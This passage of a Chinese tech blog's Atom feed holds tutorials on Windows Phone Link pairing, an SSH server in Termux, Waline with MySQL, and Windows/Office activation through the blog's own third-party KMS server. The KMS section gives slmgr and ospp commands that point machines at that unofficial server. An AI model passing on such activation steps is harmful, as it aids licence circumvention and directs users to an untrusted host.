<div class="hint-container warning">
<p class="hint-container-title">注意</p>
<p>本文中提供的并不是最新版本，如果出现链接问题，请尝试将电脑和手机上的 App 都更新到最新版本。电脑版本可以在 Microsoft Store 更新，而手机版本可以在 Google Play Store 更新。</p>
</div>
<figure><img src="https://img.hestudio.net/img/2022/12/12/6396fa6a5a311.png" alt="连接至Windows" tabindex="0" loading="lazy"><figcaption>连接至Windows</figcaption></figure>
<h4>3. 在电脑开始菜单打开“手机连接”</h4>
<figure><img src="https://img.hestudio.net/img/2022/12/12/6396fb6b08a5f.png" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<h4>4. 开始配对（不是和 🐖）</h4>
<ol>
<li>手机打开 Science Surfing （电脑不用）</li>
<li>手机打开 连接至 Windows</li>
<li>点击 连接你的手机和电脑</li>
<li>手机和电脑登录同一个 Microsoft 账号</li>
<li>使用二维码连接</li>
</ol>
<figure><img src="https://img.hestudio.net/img/2022/12/12/639700e740736.png" alt="屏幕截图(4).png" tabindex="0" loading="lazy"><figcaption>屏幕截图(4).png</figcaption></figure>
<ol start="6">
<li>当出现这个的时候，表示连接成功</li>
</ol>
<figure><img src="https://img.hestudio.net/img/2022/12/12/639701e01a26b.jpg" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<ol start="7">
<li>给予需要的权限，等待同步连接</li>
<li>当出现这个的时候，就代表连接成功了</li>
</ol>
<figure><img src="https://img.hestudio.net/img/2022/12/12/6397029380f06.jpg" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<figure><img src="https://img.hestudio.net/img/2022/12/12/639702c8a2821.png" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<ol start="9">
<li>将手机端设置后台运行和自启动</li>
</ol>
<figure><img src="https://img.hestudio.net/img/2022/12/12/639703dbc02de.png" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<h3>可以做什么？</h3>
<p>查看通知，照片，发送短信，拨打电话（需要蓝牙），查看手机照片，快速修改手机设置</p>
<figure><img src="https://img.hestudio.net/img/2022/12/12/639704d14a6c8.png" alt="素材和它的朋友们" tabindex="0" loading="lazy"><figcaption>素材和它的朋友们</figcaption></figure>
<hr class="footnotes-sep">
<section class="footnotes">
<ol class="footnotes-list">
<li id="footnote1" class="footnote-item"><p><img src="https://img.hestudio.net/img/2022/12/12/6397000e41dba.png" alt="字面意思" loading="lazy"> <a href="#footnote-ref1" class="footnote-backref">↩︎</a></p>
</li>
</ol>
</section>
]]></content>
    <category term="Windows"/>
    <published>2022-12-21T06:10:14.000Z</published>
  </entry>
  <entry>
    <title type="text">如何构建Python软件包并上传到Pypi</title>
    <id>https://www.hestudio.net/posts/how-to-make-and-upload-to-pip.html</id>
    <link href="https://www.hestudio.net/posts/how-to-make-and-upload-to-pip.html"/>
    <updated>2025-03-13T06:15:20.000Z</updated>
    <summary type="html"><![CDATA[<p>因为最近在做 Python 包，所以也了解了一下这个。这里我把我自己的学习经验写出来，如果哪里写的不好也请大家提出来。本文的内容大多数都来自<a href="https://packaging.python.org/en/latest/tutorials/packaging-projects/" target="_blank" rel="noopener noreferrer"> Packaging Python Projects - Pypi </a>，我根据我的理解进行描述一下。</p>
]]></summary>
    <content type="html"><![CDATA[<p>因为最近在做 Python 包，所以也了解了一下这个。这里我把我自己的学习经验写出来，如果哪里写的不好也请大家提出来。本文的内容大多数都来自<a href="https://packaging.python.org/en/latest/tutorials/packaging-projects/" target="_blank" rel="noopener noreferrer"> Packaging Python Projects - Pypi </a>，我根据我的理解进行描述一下。</p>
<!-- more -->
<figure><img src="https://img.hestudio.net/img/2022/12/17/639db6293266c.png" alt="Pypi的文档截图" tabindex="0" loading="lazy"><figcaption>Pypi的文档截图</figcaption></figure>
]]></content>
    <category term="Python"/>
    <published>2022-12-21T06:10:14.000Z</published>
  </entry>
  <entry>
    <title type="text">如何在termux中启用ssh server</title>
    <id>https://www.hestudio.net/posts/how-to-open-sshserver-on-termux.html</id>
    <link href="https://www.hestudio.net/posts/how-to-open-sshserver-on-termux.html"/>
    <updated>2025-03-13T06:15:20.000Z</updated>
    <summary type="html"><![CDATA[<p>众所周知，Termux 是一个 Android 终端仿真应用程序，用于在 Android 手机上搭建一个完整的 Linux 环境。 Termux 不是真实的 Linux 环境，但是 Termux 可以安装真实的 Linux，而且不会损失性能！. 关键是还不需要 root！</p>
<p>然而，在手机上敲代码总是有一些别扭，所以这篇文章就教你怎么远程链接，也就是用 ssh 连接。</p>
]]></summary>
    <content type="html"><![CDATA[<p>众所周知，Termux 是一个 Android 终端仿真应用程序，用于在 Android 手机上搭建一个完整的 Linux 环境。 Termux 不是真实的 Linux 环境，但是 Termux 可以安装真实的 Linux，而且不会损失性能！. 关键是还不需要 root！</p>
<p>然而，在手机上敲代码总是有一些别扭，所以这篇文章就教你怎么远程链接，也就是用 ssh 连接。</p>
<!-- more -->
<h3>在 Termux 上安装 openssh 服务</h3>
<h4>安装</h4>
<ol>
<li>打开 Termux</li>
<li>安装 openssh</li>
</ol>
<div class="language-text line-numbers-mode" data-highlighter="prismjs" data-ext="text"><pre><code class="language-text"><span class="line">pkg install openssh -y</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><figure><img src="https://img.hestudio.net/img/2023/03/24/641d5f31417e3.jpeg" alt="安装openssh" tabindex="0" loading="lazy"><figcaption>安装openssh</figcaption></figure>
<ol start="3">
<li>安装好之后，我们需要手动启动 sshd</li>
</ol>
<div class="language-text line-numbers-mode" data-highlighter="prismjs" data-ext="text"><pre><code class="language-text"><span class="line">sshd</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><ol start="4">
<li>需要指出的是, sshd 监听的是 8022 端口而不是 22 号端口，因此可以使用下面命令来验证 ssh 服务是否开启</li>
</ol>
<div class="language-text line-numbers-mode" data-highlighter="prismjs" data-ext="text"><pre><code class="language-text"><span class="line">ssh localhost -p 8022</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><figure><img src="https://img.hestudio.net/img/2023/03/24/641d5f795756f.jpeg" alt="验证是否开启ssh" tabindex="0" loading="lazy"><figcaption>验证是否开启ssh</figcaption></figure>
<p>如果出现图片上的画面，则已经开启 ssh 服务</p>
<h4>添加 Public key</h4>
<p>Termux 的 sshd 只能通过密钥登陆，因此你需要在客户端上生成密钥对。</p>
<div class="language-text line-numbers-mode" data-highlighter="prismjs" data-ext="text"><pre><code class="language-text"><span class="line">ssh-keygen</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><figure><img src="https://img.hestudio.net/img/2023/03/24/641d5fb122600.png" alt="生成密钥对" tabindex="0" loading="lazy"><figcaption>生成密钥对</figcaption></figure>
<p>把客户端上的公钥加到 Termux 中的 .ssh/authorized_keys,这一步比较麻烦。因为你无法使用 ssh-copy-id,只能先把 id_rsa.pub 拷贝到手机上，再在手机上打开该文件，拷贝文件内容后在 Termux 中用 vi 打开 authorized_keys,并复制内容进去。</p>
<p>或者在电脑上将 id_rsa.pub 文件（是整个文件，不是复制文件内容）拖到文件传输助手中，在手机上用 Termux 打开，点击 EDIT ，然后打开 termux</p>
<div class="language-text line-numbers-mode" data-highlighter="prismjs" data-ext="text"><pre><code class="language-text"><span class="line">cat ~/downloads/id_rsa.pub &gt;&gt; ~/.ssh/authorized_keys</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>不过如果客户端上本身也开启了 ssh 服务的话，则会简单很多，可以在 Termux 上执行</p>
<div class="language-text line-numbers-mode" data-highlighter="prismjs" data-ext="text"><pre><code class="language-text"><span class="line">ssh user@clinet "cat ~/.ssh/id_rsa.pub" &gt;&gt; ~/.ssh/authorized_keys</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>就行了，其中 clinet 为客户端的地址，user 为登陆用户.</p>
<h4>客户端登陆</h4>
<p>在客户端上执行</p>
<div class="language-text line-numbers-mode" data-highlighter="prismjs" data-ext="text"><pre><code class="language-text"><span class="line">ssh 127.0.0.1 -p 8022</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>把 127.0.0.1 换成手机 ip
手机 IP 可以在 设置 --&gt; WLAN --&gt; 高级设置 里查看
<img src="https://img.hestudio.net/img/2023/03/24/641d5ff99ba32.png" alt="连接ssh" loading="lazy"></p>
<blockquote>
<p>最后一次更新：2022.11.1</p>
</blockquote>
]]></content>
    <category term="Android"/>
    <published>2022-12-21T06:10:14.000Z</published>
  </entry>
  <entry>
    <title type="text">如何使用KMS</title>
    <id>https://www.hestudio.net/posts/how-to-use-kms.html</id>
    <link href="https://www.hestudio.net/posts/how-to-use-kms.html"/>
    <updated>2024-12-10T14:04:03.000Z</updated>
    <summary type="html"><![CDATA[<h3>本站 KMS 服务地址</h3>
<div class="hint-container tip">
<p class="hint-container-title">提示</p>
<p>了解如何自己搭建一个 KMS 服务器请访问： <a href="https://www.hestudio.net/posts/build-a-kms-server-yourself.html" target="_blank" rel="noopener noreferrer">https://www.hestudio.net/posts/build-a-kms-server-yourself.html</a></p>
</div>]]></summary>
    <content type="html"><![CDATA[<h3>本站 KMS 服务地址</h3>
<div class="hint-container tip">
<p class="hint-container-title">提示</p>
<p>了解如何自己搭建一个 KMS 服务器请访问： <a href="https://www.hestudio.net/posts/build-a-kms-server-yourself.html" target="_blank" rel="noopener noreferrer">https://www.hestudio.net/posts/build-a-kms-server-yourself.html</a></p>
</div>
<div class="language-text line-numbers-mode" data-highlighter="prismjs" data-ext="text"><pre><code class="language-text"><span class="line">kms.hestudio.net</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><h3>使用方法</h3>
<h4>激活 Windows/Windows Server</h4>
<ul>
<li>设置 KMS 地址为 heStudio 的 KMS 服务</li>
</ul>
<div class="language-batch line-numbers-mode" data-highlighter="prismjs" data-ext="batch"><pre><code class="language-batch"><span class="line"><span class="token command"><span class="token keyword">slmgr</span>.vbs <span class="token parameter attr-name">/skms</span> kms.hestudio.net</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><ul>
<li>设置 GVLK 代码</li>
</ul>
<div class="language-batch line-numbers-mode" data-highlighter="prismjs" data-ext="batch"><pre><code class="language-batch"><span class="line"><span class="token command"><span class="token keyword">slmgr</span>.vbs <span class="token parameter attr-name">/ipk</span> xxxxx-xxxxx-xxxxx-xxxxx-xxxxx</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><div class="hint-container info">
<p class="hint-container-title">相关信息</p>
<p>Windows 和 Windows Server 的 GVLK 代码可以在这里获取：<a href="https://docs.microsoft.com/zh-cn/windows-server/get-started/kms-client-activation-keys" target="_blank" rel="noopener noreferrer">https://docs.microsoft.com/zh-cn/windows-server/get-started/kms-client-activation-keys</a></p>
</div>
<ul>
<li>激活 Windows/Windows Server</li>
</ul>
<div class="language-batch line-numbers-mode" data-highlighter="prismjs" data-ext="batch"><pre><code class="language-batch"><span class="line"><span class="token command"><span class="token keyword">slmgr</span>.vbs <span class="token parameter attr-name">/ato</span></span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><h4>激活 Office</h4>
<div class="hint-container warning">
<p class="hint-container-title">注意</p>
<p>这里的教程仅适用于 Office 2016 以后的版本，早于此版本的 Office 仍然可以使用这个 KMS 服务，但是这里不提供相关资料，需要自行摸索。</p>
</div>
<ul>
<li>首先先找到 ospp.vbs，如果你是 32 位的电脑系统或者安装了 64 位版本的 64 位计算机，那么 ospp.vbs 就在<code>C:\Program Files\Microsoft Office\Office16\</code>文件夹内；如果是 64 位的计算机安装了 32 位的系统，那么它应该在<code>C:\Program Files (x86)\\Microsoft Office\Office16\</code></li>
<li>设置 KMS 地址为 heStudio 的 KMS 服务</li>
</ul>
<div class="language-batch line-numbers-mode" data-highlighter="prismjs" data-ext="batch"><pre><code class="language-batch"><span class="line"><span class="token command"><span class="token keyword">cscript</span> ospp.vbs <span class="token parameter attr-name">/sethst<span class="token punctuation">:</span></span>kms.hestudio.net</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><ul>
<li>设置 GVLK 代码</li>
</ul>
<div class="language-batch line-numbers-mode" data-highlighter="prismjs" data-ext="batch"><pre><code class="language-batch"><span class="line"><span class="token command"><span class="token keyword">cscript</span> ospp.vbs <span class="token parameter attr-name">/inpkey<span class="token punctuation">:</span></span>xxxxx-xxxxx-xxxxx-xxxxx-xxxxx</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><div class="hint-container info">
<p class="hint-container-title">相关信息</p>
<p>Office 的 GVLK 代码可以在这里获取：<a href="https://docs.microsoft.com/zh-cn/deployoffice/vlactivation/gvlks" target="_blank" rel="noopener noreferrer">https://docs.microsoft.com/zh-cn/deployoffice/vlactivation/gvlks</a></p>
</div>
<ul>
<li>激活 Office</li>
</ul>
<div class="language-batch line-numbers-mode" data-highlighter="prismjs" data-ext="batch"><pre><code class="language-batch"><span class="line"><span class="token command"><span class="token keyword">cscript</span> ospp.vbs <span class="token parameter attr-name">/act</span></span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div>]]></content>
    <category term="Windows"/>
    <published>2022-12-21T06:10:14.000Z</published>
  </entry>
  <entry>
    <title type="text">【重制版】在Android手机上安装kali Linux</title>
    <id>https://www.hestudio.net/posts/install-kali-on-android-renew.html</id>
    <link href="https://www.hestudio.net/posts/install-kali-on-android-renew.html"/>
    <updated>2026-03-01T17:46:10.000Z</updated>
    <category term="Android"/>
    <published>2022-12-21T06:10:14.000Z</published>
  </entry>
  <entry>
    <title type="text">在Android手机上安装kali Linux</title>
    <id>https://www.hestudio.net/posts/install-kali-on-android.html</id>
    <link href="https://www.hestudio.net/posts/install-kali-on-android.html"/>
    <updated>2026-03-01T17:46:10.000Z</updated>
    <category term="Android"/>
    <published>2022-12-21T06:10:14.000Z</published>
  </entry>
  <entry>
    <title type="text">在 Hexo 上使用 Waline</title>
    <id>https://www.hestudio.net/posts/set-waline-on-hexo.html</id>
    <link href="https://www.hestudio.net/posts/set-waline-on-hexo.html"/>
    <updated>2025-03-13T06:15:20.000Z</updated>
    <summary type="html"><![CDATA[<p>这几天迁移服务器的，心想：我**（文明用语）都有服务器了，还用那个难用的 valine 吗？所以我准备从 valine 迁移到青出于蓝而胜于蓝的 waline</p>
<p><a href="https://waline.js.org" target="_blank" rel="noopener noreferrer">Waline</a> 是一款从 <a href="https://waline.js.org" target="_blank" rel="noopener noreferrer">Valine</a> 衍生的带后端评论系统。可以将 Waline 等价成 With backend Valine.它的强大的自由度吸引力我。这里不多介绍，详细请浏览 <a href="https://waline.js.org" target="_blank" rel="noopener noreferrer">https://waline.js.org</a></p>
<p>因为咱也是有服务器的人了，所以我们直接全私有部署。详细的方案如以下所示：</p>
<ul>
<li>服务端部署到我们服务器</li>
<li>数据库部署到 MySQL</li>
</ul>
<p>其他的部署方案请在 waline 官网查看，这里只讲述独立部署。</p>
]]></summary>
    <content type="html"><![CDATA[<p>这几天迁移服务器的，心想：我**（文明用语）都有服务器了，还用那个难用的 valine 吗？所以我准备从 valine 迁移到青出于蓝而胜于蓝的 waline</p>
<p><a href="https://waline.js.org" target="_blank" rel="noopener noreferrer">Waline</a> 是一款从 <a href="https://waline.js.org" target="_blank" rel="noopener noreferrer">Valine</a> 衍生的带后端评论系统。可以将 Waline 等价成 With backend Valine.它的强大的自由度吸引力我。这里不多介绍，详细请浏览 <a href="https://waline.js.org" target="_blank" rel="noopener noreferrer">https://waline.js.org</a></p>
<p>因为咱也是有服务器的人了，所以我们直接全私有部署。详细的方案如以下所示：</p>
<ul>
<li>服务端部署到我们服务器</li>
<li>数据库部署到 MySQL</li>
</ul>
<p>其他的部署方案请在 waline 官网查看，这里只讲述独立部署。</p>
<!-- more -->
<p>我打算用<code>docker-compose</code>部署到我们的服务器上，那么我们就需要准备<code>docker-compose.yml</code></p>
<div class="language-yaml line-numbers-mode" data-highlighter="prismjs" data-ext="yml"><pre><code class="language-yaml"><span class="line"><span class="token key atrule">version</span><span class="token punctuation">:</span> <span class="token string">"3.8"</span></span>
<span class="line"><span class="token key atrule">services</span><span class="token punctuation">:</span></span>
<span class="line">  <span class="token key atrule">web</span><span class="token punctuation">:</span></span>
<span class="line">    <span class="token key atrule">image</span><span class="token punctuation">:</span> <span class="token string">"lizheming/waline"</span></span>
<span class="line">    <span class="token key atrule">restart</span><span class="token punctuation">:</span> always</span>
<span class="line">    <span class="token key atrule">ports</span><span class="token punctuation">:</span></span>
<span class="line">      <span class="token punctuation">-</span> 127.0.0.1<span class="token punctuation">:</span>8360<span class="token punctuation">:</span><span class="token number">8360</span></span>
<span class="line">    <span class="token key atrule">volumes</span><span class="token punctuation">:</span></span>
<span class="line">      <span class="token punctuation">-</span> $<span class="token punctuation">{</span>PWD<span class="token punctuation">}</span>/data<span class="token punctuation">:</span>/app/data</span>
<span class="line">    <span class="token key atrule">environment</span><span class="token punctuation">:</span></span>
<span class="line">      <span class="token comment"># 这里怎么填详见下文</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>那么我们还需要填写环境，有关环境变量的相关内容因为篇幅太长，所以我直接放传送门 <a href="https://waline.js.org/reference/env.html" target="_blank" rel="noopener noreferrer">https://waline.js.org/reference/env.html</a></p>
<p>众所周知，HTTP 是明文传输的，而 HTTPS 是密文传输。所以我们想要实现密文传输，就需要 SSL 证书和 Nginx 反向代理。
SSL 证书我们使用 Let's Encrypt 即可，现在我们要设置的是 Nginx 反向代理。</p>
<p>这里以宝塔面板为例，</p>
<ol>
<li>转到“网站”</li>
<li>新建一个网站，配置如图所示</li>
<li>保存，以留备用</li>
</ol>
<figure><img src="https://img.hestudio.net/img/2022/12/11/6395a29cf37e7.jpg" alt="填写模板" tabindex="0" loading="lazy"><figcaption>填写模板</figcaption></figure>
<p>由于我们用的是 MySQL，所以直接跳过传送门上面的内容，直接转到 MySQL 位置。</p>
<p>这里就有一个问题，就是你必须保证你的数据库在外部能访问，<code>localhost</code>在这里无效（别问我怎么知道的），你需要打开权限才能保证你的数据库在外边能访问，下文主机地址需要填写你的公网 IP 或者域名（像<code>www.hestudio.net</code>这样没有协议头和斜杠的纯域名）</p>
<div class="hint-container warning">
<p class="hint-container-title">注意</p>
<p>你的数据库在外部能访问，建议你不要用默认的数据库端口号（3306）</p>
</div>
<p>初次使用需要向 MySQL 数据库导入一段数据，将以下内容复制，另存为以<code>.sql</code>为后缀的文件，然后导入数据库。</p>
<div class="language-text line-numbers-mode" data-highlighter="prismjs" data-ext="text"><pre><code class="language-text"><span class="line">/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;</span>
<span class="line">/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;</span>
<span class="line">/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;</span>
<span class="line">/*!40101 SET NAMES utf8 */;</span>
<span class="line">SET NAMES utf8mb4;</span>
<span class="line">/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;</span>
<span class="line">/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;</span>
<span class="line">/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;</span>
<span class="line"></span>
<span class="line"></span>
<span class="line"># Dump of table wl_Comment</span>
<span class="line"># </span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div>]]></content>
    <category term="Linux"/>
    <published>2022-12-21T06:10:14.000Z</published>
  </entry>
</feed>